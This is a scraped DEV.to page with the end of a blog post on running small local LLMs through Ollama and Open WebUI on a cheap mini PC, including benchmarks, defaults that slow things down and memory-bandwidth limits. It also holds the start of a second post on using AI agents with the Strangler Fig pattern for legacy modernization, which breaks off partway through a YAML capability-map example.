&lt;th&gt;Prompt reading, CPU&lt;/th&gt;
&lt;th&gt;Prompt reading, Vulkan&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Gemma 4 E4B&lt;/td&gt;
&lt;td&gt;5.5 tok/s&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;8.1 tok/s&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;14.4 tok/s&lt;/td&gt;
&lt;td&gt;16.8 tok/s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Qwen2.5-Coder 7B&lt;/td&gt;
&lt;td&gt;5.5 tok/s&lt;/td&gt;
&lt;td&gt;4.5 tok/s&lt;/td&gt;
&lt;td&gt;10.0 tok/s&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;27.7 tok/s&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;The integrated GPU didn't make everything faster. It changed which part was fast.&lt;/strong&gt; For Qwen, prompt reading got almost three times faster while generation got slower. For Gemma, generation went up by about half. I don't have a clean explanation for why the two models moved in opposite directions, so I kept Vulkan on, because it won for the model I used the most.&lt;/p&gt;

&lt;p&gt;The pattern makes sense once you remember the shared RAM. Reading a prompt is heavy math, and the GPU's extra compute helps. Generating each new token means reading the model's weights from memory again, and the iGPU reads from the same RAM, at the same speed, as the CPU.&lt;/p&gt;

&lt;p&gt;To put 8 tokens per second in human terms: a long paragraph takes 20 to 30 seconds to finish appearing. You can read along, but you wait.&lt;/p&gt;

&lt;p&gt;Switching models costs more. Only one fits in memory, so the first message after a switch spends 10 to 20 seconds loading the other one.&lt;/p&gt;




&lt;h2&gt;
  
  
  Three things that made it slow (none of them was the model)
&lt;/h2&gt;

&lt;p&gt;Back to the 24-second "Olá". It came from two defaults I didn't know about. A third cost showed up later in the week.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Thinking mode was on by default
&lt;/h3&gt;

&lt;p&gt;Gemma 4 supports a "thinking" mode, and in Ollama it's on by default. For a simple "Olá", the model wrote about 700 characters of internal reasoning before answering.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mode&lt;/th&gt;
&lt;th&gt;Time to answer "Olá"&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Thinking on (default)&lt;/td&gt;
&lt;td&gt;~25 s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Thinking off&lt;/td&gt;
&lt;td&gt;~2 s&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The model wasn't slow; it was doing far more work than the question needed (192 generated tokens instead of 10). I turned thinking off by default (Open WebUI has a "Think" switch in the model's advanced parameters) and switch it on only for a hard question.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The chat interface added 2,000 tokens to every message
&lt;/h3&gt;

&lt;p&gt;Even with thinking off, Open WebUI was still slow. The Ollama logs showed why: my "Olá" arrived at the model as &lt;strong&gt;2,051 tokens of input&lt;/strong&gt;, when the message itself is a handful.&lt;/p&gt;

&lt;p&gt;Open WebUI attaches the descriptions of its built-in tools (memory, code interpreter, web search, image generation) to every message for models that support tool calling, and Gemma 4 does. On a cloud model you never notice. Here, the model spent about &lt;strong&gt;55 seconds reading those tools&lt;/strong&gt; and 1.5 seconds writing the answer. The tools were also useless: web search with no internet doesn't search anything.&lt;/p&gt;

&lt;p&gt;The fix was to untick those capabilities in the model's settings (Admin Panel, Settings, Models) and to turn off the extra tasks that call the model behind your back: tag generation, follow-up suggestions and autocomplete. Every one of those is another request in a queue of one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;On slow hardware, the size of the prompt matters more than the size of the answer.&lt;/strong&gt; Do the math for any tool you put in front of a local model: at 15 to 30 tokens per second of prompt reading, 10,000 tokens of system prompt means 5 to 11 minutes before the first word. That rules out most coding agents built for cloud models on this box.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. The model switch
&lt;/h3&gt;

&lt;p&gt;Not a bug, a cost: 10 to 20 seconds whenever I jumped between Gemma and Qwen. I learned to stay in one model per session.&lt;/p&gt;




&lt;h2&gt;
  
  
  How I used it from the Mac
&lt;/h2&gt;

&lt;p&gt;Two ways, both over the home network.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The terminal.&lt;/strong&gt; I installed only the Ollama &lt;em&gt;client&lt;/em&gt; on the Mac and pointed it to the mini PC. I use the fish shell, so the setup is two lines plus one function per model:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;set -Ux OLLAMA_HOST http://192.168.1.214:11434

function gemma
    ollama run gemma4:e4b --verbose --think=false $argv
end
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Typing &lt;code&gt;gemma&lt;/code&gt; opens an interactive chat that runs on the mini PC. &lt;code&gt;--verbose&lt;/code&gt; prints the speed after every answer, which turned the whole week into a small benchmark:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;eval rate:            9.73 tokens/s
prompt eval rate:     7.54 tokens/s
total duration:       1.81s
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That run was a short greeting; a real three-sentence explanation of DNS took about 16 seconds end to end, at around 6 tokens per second.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The browser.&lt;/strong&gt; Open WebUI on &lt;code&gt;http://192.168.1.214:3000&lt;/code&gt;, for the two things the terminal does badly: keeping a searchable history and sending images.&lt;/p&gt;

&lt;p&gt;During the week I used it for three things:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Use&lt;/th&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;How it went&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Quick questions ("what does this flag do?")&lt;/td&gt;
&lt;td&gt;Gemma, terminal&lt;/td&gt;
&lt;td&gt;The best fit. Short answers arrive in seconds.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Small code: explain a snippet, write a function, read a pasted log&lt;/td&gt;
&lt;td&gt;Qwen&lt;/td&gt;
&lt;td&gt;Useful for small pieces. Pasting code is where Vulkan's faster prompt reading pays off.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reading screenshots and photos&lt;/td&gt;
&lt;td&gt;Gemma, Open WebUI&lt;/td&gt;
&lt;td&gt;It works, and nothing leaves the house. Slower than text.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;What I didn't do is real daily work: long conversations, large files, an agent editing a project. At 5 to 8 tokens per second, the waiting adds up fast.&lt;/p&gt;




&lt;h2&gt;
  
  
  Would 32 GB of RAM make it faster?
&lt;/h2&gt;

&lt;p&gt;This was my first instinct, and it's mostly wrong.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;More RAM lets you load bigger models. It doesn't make generation faster.&lt;/strong&gt; Generating each token means reading the model's weights from memory, so the ceiling is roughly memory bandwidth divided by model size. This is a rule of thumb, not an exact formula, but it's consistent with what I measured:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Dual-channel DDR4-2400:  2 channels × 8 bytes × 2,400 MT/s ≈ 38 GB/s (theoretical peak)
Qwen2.5-Coder 7B:        4.7 GB of weights

Ceiling ≈ 38 / 4.7 ≈ 8 tokens/s     (measured: 4.5 to 5.5)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The 38 GB/s is the theoretical peak. Real memory traffic gets less than that, which is part of why the measured speed sits below the ceiling.&lt;/p&gt;

&lt;p&gt;The 3300U's memory controller tops out at DDR4-2400 in dual channel (&lt;a href="https://www.notebookcheck.net/AMD-Ryzen-3-3300U-Processor.391086.0.html" rel="noopener noreferrer"&gt;Notebookcheck&lt;/a&gt;). Going from 16 to 32 GB doesn't move that number. It lets you load a 14B model, which is about twice as big, so it would generate roughly half as fast.&lt;/p&gt;

&lt;p&gt;One exception is worth checking. &lt;a href="https://garumax.com/nipogi-p1-3300u-model-review" rel="noopener noreferrer"&gt;Reviews of this model&lt;/a&gt; show units shipping with a single 16 GB stick and one free slot. One stick means single channel, half the bandwidth. If that's your unit, two matched sticks are the one memory upgrade that can make it faster. Check before you buy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;dmidecode &lt;span class="nt"&gt;-t&lt;/span&gt; memory | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Size|Locator|Speed"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What would really change the experience is a different class of machine: one where the GPU has fast memory and lots of it. A mini PC like the &lt;a href="https://www.techradar.com/computing/bosgame-m5-ai-mini-pc-review" rel="noopener noreferrer"&gt;Bosgame M5&lt;/a&gt;, with an AMD Ryzen AI Max+ 395 and 128 GB of LPDDR5X shared between CPU and GPU, has around 256 GB/s of bandwidth. By the same rule of thumb, that's a ceiling several times higher for the same model, and enough memory for much larger ones. I haven't tested one myself. A friend bought one, tested it and is happy with the results, but it's a big investment: at the time of writing it costs several times more than my mini PC, and prices move a lot with memory supply.&lt;/p&gt;




&lt;h2&gt;
  
  
  So, was it worth it?
&lt;/h2&gt;

&lt;p&gt;My verdict after a week: &lt;strong&gt;worth it for quick questions, privacy and small pieces of text or code. Too slow for daily work.&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Offline on the mini PC&lt;/th&gt;
&lt;th&gt;Cloud model&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Privacy&lt;/td&gt;
&lt;td&gt;Prompts never leave the house&lt;/td&gt;
&lt;td&gt;Prompts go to a provider&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cost per use&lt;/td&gt;
&lt;td&gt;No API fees (hardware and electricity only)&lt;/td&gt;
&lt;td&gt;Subscription or per token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Works without internet&lt;/td&gt;
&lt;td&gt;Yes, anything on the home network&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Speed&lt;/td&gt;
&lt;td&gt;5 to 8 tokens/s; long prompts are painful&lt;/td&gt;
&lt;td&gt;Fast enough not to think about it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Quality on hard problems&lt;/td&gt;
&lt;td&gt;A 4B to 7B model: fine for small tasks&lt;/td&gt;
&lt;td&gt;Much stronger&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Agents and big contexts&lt;/td&gt;
&lt;td&gt;Not realistic here&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The part I'd keep even if I switched the box off tomorrow is what it taught me: &lt;strong&gt;on modest hardware, speed is mostly about memory bandwidth and prompt size&lt;/strong&gt;, and the defaults of tools built for cloud models (thinking on, a dozen built-in tools) can make a working setup feel broken.&lt;/p&gt;

&lt;p&gt;If you have an old laptop or a cheap mini PC, try this before buying anything. A weekend is enough to learn where your floor is, and the firewall rules above keep the experiment truly offline.&lt;/p&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Do I need Proxmox?&lt;/strong&gt;&lt;br&gt;
No. Proxmox only gives the models their own container on a box that runs other things too. The steps above work on any Debian or Ubuntu machine; I'll cover the Proxmox side in a separate article.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why Gemma 4 E4B and Qwen2.5-Coder 7B?&lt;/strong&gt;&lt;br&gt;
They are small enough to fit in 10 GB of RAM at 4-bit quantization, and they cover two different needs: general questions with image input, and code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is Ollama's network API safe?&lt;/strong&gt;&lt;br&gt;
It has no authentication. Only expose it to a network you trust, and restrict it with firewall rules to the clients that need it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Should I use the integrated GPU?&lt;/strong&gt;&lt;br&gt;
Measure both. On this box, Vulkan made prompt reading much faster for Qwen and generation faster for Gemma, but generation slower for Qwen. Ten minutes of testing with &lt;code&gt;--verbose&lt;/code&gt; answers it for your hardware.&lt;/p&gt;




&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;"Offline" can be a firewall rule.&lt;/strong&gt; Block outbound traffic from the AI box and use it from your other devices over the home network.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;An integrated GPU shares your RAM.&lt;/strong&gt; It speeds up prompt reading more than generation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check the defaults first.&lt;/strong&gt; Thinking mode and built-in tools turned a 2-second answer into 25 to 55 seconds.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prompt size is the hidden cost.&lt;/strong&gt; Every token a tool adds has to be read at 15 to 30 tokens per second.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;More RAM buys capacity, not speed.&lt;/strong&gt; Bandwidth sets the ceiling; dual channel matters more than 32 GB.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Local AI is a great second tool, not yet a replacement&lt;/strong&gt; on cheap hardware.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What's the smallest machine you've run a local model on, and what did you actually use it for? Tell me in the comments.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at &lt;a href="https://instagram.com/diogosoares.dev" rel="noopener noreferrer"&gt;@diogosoares.dev&lt;/a&gt;, where the numbers from this experiment become a carousel you can save for your own homelab. This article also gets a video walkthrough on my YouTube channel, &lt;a href="https://youtube.com/@diogosoaresdev" rel="noopener noreferrer"&gt;Diogo Soares Dev&lt;/a&gt;, so subscribe there for the next ones. Let's also connect on &lt;a href="https://www.linkedin.com/in/diogoschmidtsoares" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;, or check out &lt;a href="https://diogosoares.dev" rel="noopener noreferrer"&gt;diogosoares.dev&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>selfhosted</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Strangler Fig + AI Agents: Can We Automate Legacy Modernization Safely?</title>
      <dc:creator>Diogo Soares</dc:creator>
      <pubDate>Wed, 28 Oct 2026 09:17:24 +0000</pubDate>
      <link>https://dev.to/soaresdiogo/strangler-fig-ai-agents-can-we-automate-legacy-modernization-safely-1jfh</link>
      <guid>https://dev.to/soaresdiogo/strangler-fig-ai-agents-can-we-automate-legacy-modernization-safely-1jfh</guid>
      <description>&lt;p&gt;Imagine the ticket says: "Move shipping quotes out of the monolith." You point an AI agent at a 15-year-old codebase. Four minutes later it hands you a tidy summary: one endpoint, one calculator class, two database tables, no writes. It reads like a senior engineer wrote it.&lt;/p&gt;

&lt;p&gt;It is also missing something. A nightly batch job calls the same calculator directly, without going through the endpoint. Route the endpoint to a new service, and that job keeps running the old rules. Nobody notices until the numbers stop matching.&lt;/p&gt;

&lt;p&gt;That's the honest picture of AI in legacy modernization today. Agents are very good at the heavy reading that used to take weeks. They are also confident in a way that has nothing to do with being right. The &lt;strong&gt;Strangler Fig pattern&lt;/strong&gt; gives you a way to use the first property without being exposed to the second, as long as you build the migration around one rule:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AI agents can accelerate legacy modernization. But verification, not model confidence, must be the gate to production.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This post covers:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Why big-bang rewrites fail and what the Strangler Fig pattern changes.&lt;/li&gt;
&lt;li&gt;A pipeline of specialized agents, with the input, output and permissions of each one.&lt;/li&gt;
&lt;li&gt;A worked (hypothetical) example: extracting one capability, building the facade, shifting traffic and retiring the old path, with objective criteria to accept or reject the migration.&lt;/li&gt;
&lt;li&gt;What should never be fully autonomous, and how to measure whether the agents are helping.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  The rewrite trap
&lt;/h2&gt;

&lt;p&gt;Every legacy system eventually triggers the same conversation: "It would be faster to rewrite it." It almost never is. Martin Fowler's &lt;a href="https://martinfowler.com/bliki/StranglerFigApplication.html" rel="noopener noreferrer"&gt;Strangler Fig Application&lt;/a&gt; lists the reasons: a replacement takes a long time, the business can't freeze new features while it waits, and the existing behavior is hard to pin down, partly because much of it is no longer wanted.&lt;/p&gt;

&lt;p&gt;That third reason is the one I'd underline. Having worked on modernization in banking and in product companies, my view is that the expensive part is rarely writing the new code. It's knowing what the old code actually does, including the things nobody wrote down.&lt;/p&gt;

&lt;p&gt;The Strangler Fig pattern answers this by never doing the swap in one go. A facade sits in front of the legacy system and routes each request either to the old code or to the new service. You move one capability at a time, and the legacy system keeps serving everything else.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                       ┌──────────────────────┐
 clients ──▶ FACADE ──▶│  legacy monolith      │  (everything not migrated yet)
               │       └──────────────────────┘
               └──────▶ new service            (one capability at a time)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;a href="https://learn.microsoft.com/en-us/azure/architecture/patterns/strangler-fig" rel="noopener noreferrer"&gt;Azure Architecture Center&lt;/a&gt; describes the end state: when no functionality and no dependency is left in the legacy system, you decommission it and eventually remove the facade. Until then you pay for transitional architecture, code that exists only so old and new can coexist. Fowler's argument is that the lower risk and earlier value are worth that cost.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Big-bang rewrite&lt;/th&gt;
&lt;th&gt;Strangler Fig&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;When value arrives&lt;/td&gt;
&lt;td&gt;At the end, if ever&lt;/td&gt;
&lt;td&gt;After the first capability&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Blast radius of a mistake&lt;/td&gt;
&lt;td&gt;The whole system&lt;/td&gt;
&lt;td&gt;One capability, behind a router&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rollback&lt;/td&gt;
&lt;td&gt;Usually "go back to the old system" under pressure&lt;/td&gt;
&lt;td&gt;Change one route&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Knowledge of old behavior&lt;/td&gt;
&lt;td&gt;Needed up front, for everything&lt;/td&gt;
&lt;td&gt;Needed per capability, when you migrate it&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Notice the last row. The pattern doesn't remove the need to understand the legacy system. It spreads that work across the migration. That's exactly the work agents are now good at speeding up.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where AI agents enter the picture
&lt;/h2&gt;

&lt;p&gt;The strategy stays the same. Incremental migration, coexistence and controlled risk are the foundations of the pattern, and agents don't change them. What agents change is the cost of the steps around each migration: discovery, documentation, test generation, and the implementation of a well-specified slice.&lt;/p&gt;

&lt;p&gt;There is public evidence for both the speed-up and its limits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Thoughtworks built &lt;strong&gt;CodeConcise&lt;/strong&gt;, which parses legacy code into abstract syntax trees, stores them in a knowledge graph and lets an LLM explain and query it. In a &lt;a href="https://martinfowler.com/articles/legacy-modernization-gen-ai.html" rel="noopener noreferrer"&gt;proof of concept on a COBOL/IDMS system&lt;/a&gt;, they estimated reverse engineering a 10,000-line module could drop from 6 weeks to 2. The same article insists that "the human is in full control" of the outputs and that subject-matter experts validate them.&lt;/li&gt;
&lt;li&gt;Google published an &lt;a href="https://arxiv.org/abs/2501.06972" rel="noopener noreferrer"&gt;experience report on LLM-driven code migrations&lt;/a&gt;. For one large migration, 80% of the code changes in the landed changelists were fully AI-authored, and engineers estimated the total time dropped by about 50%. They also wrote that code review and rollouts "still require a human operator", and in another migration the review speed was the bottleneck.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both reports point at the same split. &lt;strong&gt;Agents are strong at producing artifacts. Humans and deterministic checks are still what make those artifacts trustworthy.&lt;/strong&gt; So the design question is not "how autonomous can the agents be?". It's "what does each agent produce, and how do we check it before anything depends on it?".&lt;/p&gt;




&lt;h2&gt;
  
  
  Designing an agentic modernization pipeline
&lt;/h2&gt;

&lt;p&gt;Instead of one agent that "migrates the module", I'd use a chain of narrow agents. Each one has a single job, a limited set of permissions and a &lt;strong&gt;verifiable artifact&lt;/strong&gt; as output. If an artifact fails its check, the chain stops there, before the mistake spreads into code, tests and routing.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Agent&lt;/th&gt;
&lt;th&gt;Input&lt;/th&gt;
&lt;th&gt;Output artifact&lt;/th&gt;
&lt;th&gt;Can write to&lt;/th&gt;
&lt;th&gt;Verified by&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1. Discovery&lt;/td&gt;
&lt;td&gt;Legacy repo, DB schema, sanitized traffic sample&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;capability-map.yaml&lt;/code&gt;, every claim with evidence&lt;/td&gt;
&lt;td&gt;Nothing (read-only)&lt;/td&gt;
&lt;td&gt;Static call graph cross-check + engineer samples claims&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2. Characterization&lt;/td&gt;
&lt;td&gt;Capability map, traffic sample&lt;/td&gt;
&lt;td&gt;Golden cases + test suite&lt;/td&gt;
&lt;td&gt;&lt;code&gt;tests/characterization/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Suite passes 100% against legacy; mutation testing shows it fails when rules break&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3. Contract&lt;/td&gt;
&lt;td&gt;Capability map, golden cases&lt;/td&gt;
&lt;td&gt;OpenAPI spec + consumer contract tests&lt;/td&gt;
&lt;td&gt;A pull request&lt;/td&gt;
&lt;td&gt;Capability owner approves the contract&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4. Implementation&lt;/td&gt;
&lt;td&gt;Approved contract, golden cases (read-only)&lt;/td&gt;
&lt;td&gt;New service&lt;/td&gt;
&lt;td&gt;New service repo, not the tests&lt;/td&gt;
&lt;td&gt;CI: characterization + contract + security scans&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5. Rollout&lt;/td&gt;
&lt;td&gt;Gate evidence, routing config&lt;/td&gt;
&lt;td&gt;Routing change + rollback runbook&lt;/td&gt;
&lt;td&gt;A config pull request&lt;/td&gt;
&lt;td&gt;Humans approve; the pipeline applies it&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two design choices do most of the safety work here.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The agent that writes the code can't touch the checks that judge it.&lt;/strong&gt; The characterization suite is produced earlier, validated against the legacy system, and mounted read-only for the implementation agent. I argued the same in &lt;a href="https://dev.to/soaresdiogo/dark-factory-vs-light-factory-where-should-ai-agents-run-unwatched-9po"&gt;Dark Factory vs. Light Factory&lt;/a&gt;: without that boundary, a green suite proves very little.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Every claim carries evidence.&lt;/strong&gt; A discovery summary in prose is impossible to check at scale. A claim with a file and line number, or a traffic sample, can be checked by a script or a human in seconds.&lt;/p&gt;




&lt;h2&gt;
  
  
  Migrating one capability at a time: a worked example
&lt;/h2&gt;

&lt;p&gt;The example below is hypothetical, but the shape is realistic: a Java monolith with a &lt;code&gt;ShippingCalculator&lt;/code&gt; and an endpoint that returns a shipping quote. It's a good first slice for a reason worth copying: &lt;strong&gt;it computes a value and writes nothing to the database&lt;/strong&gt;, so old and new can run side by side without competing for data. That alone doesn't make it safe to run twice, as Step 1 shows.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: discovery with evidence
&lt;/h3&gt;

&lt;p&gt;The discovery agent gets read access to the repository, the schema and a sanitized sample of requests. Its output is not an essay. It's a map:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# capability-map.yaml (produced by the discovery agent)&lt;/span&gt;
&lt;span class="na"&gt;capability&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;shipping-quote&lt;/span&gt;
&lt;span class="na"&gt;entry_points&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;POST /api/shipping/quote -&amp;gt; ShippingController.quote&lt;/span&gt;  &lt;span class="c1"&gt;# ShippingController.java:48&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;batch&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;RecalculateOpenQuotesJob.run&lt;/span&gt;                    &lt;span class="c1"&gt;# RecalculateOpenQuotesJob.java:31&lt;/span&gt;
&lt;span class="na"&gt;reads&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;SHIPPING_RATES&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;CUSTOMER.TIER&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
&lt;span class="na"&gt;writes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[]&lt;/span&gt;                       &lt;span class="c1"&gt;# no direct INSERT/UPDATE found in the call graph&lt;/span&gt;
&lt;span class="na"&gt;external_calls&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;CarrierRatesClient.fetchSurcharge&lt;/span&gt;  &lt;span class="c1"&gt;# HTTP, 3s timeout, side effects unknown&lt;/span&gt;
&lt;span class="na"&gt;business_rules&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;R1&lt;/span&gt;
    &lt;span class="na"&gt;rule&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Orders&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;of&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;50.00&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;EUR&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;or&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;more&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;ship&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;free,&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;compared&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;after&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;tax"&lt;/span&gt;
    &lt;span class="na"&gt;evidence&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ShippingCalculator.java:212&lt;/span&gt;
    &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;unconfirmed&lt;/span&gt;
&lt;span class="na"&gt;open_questions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
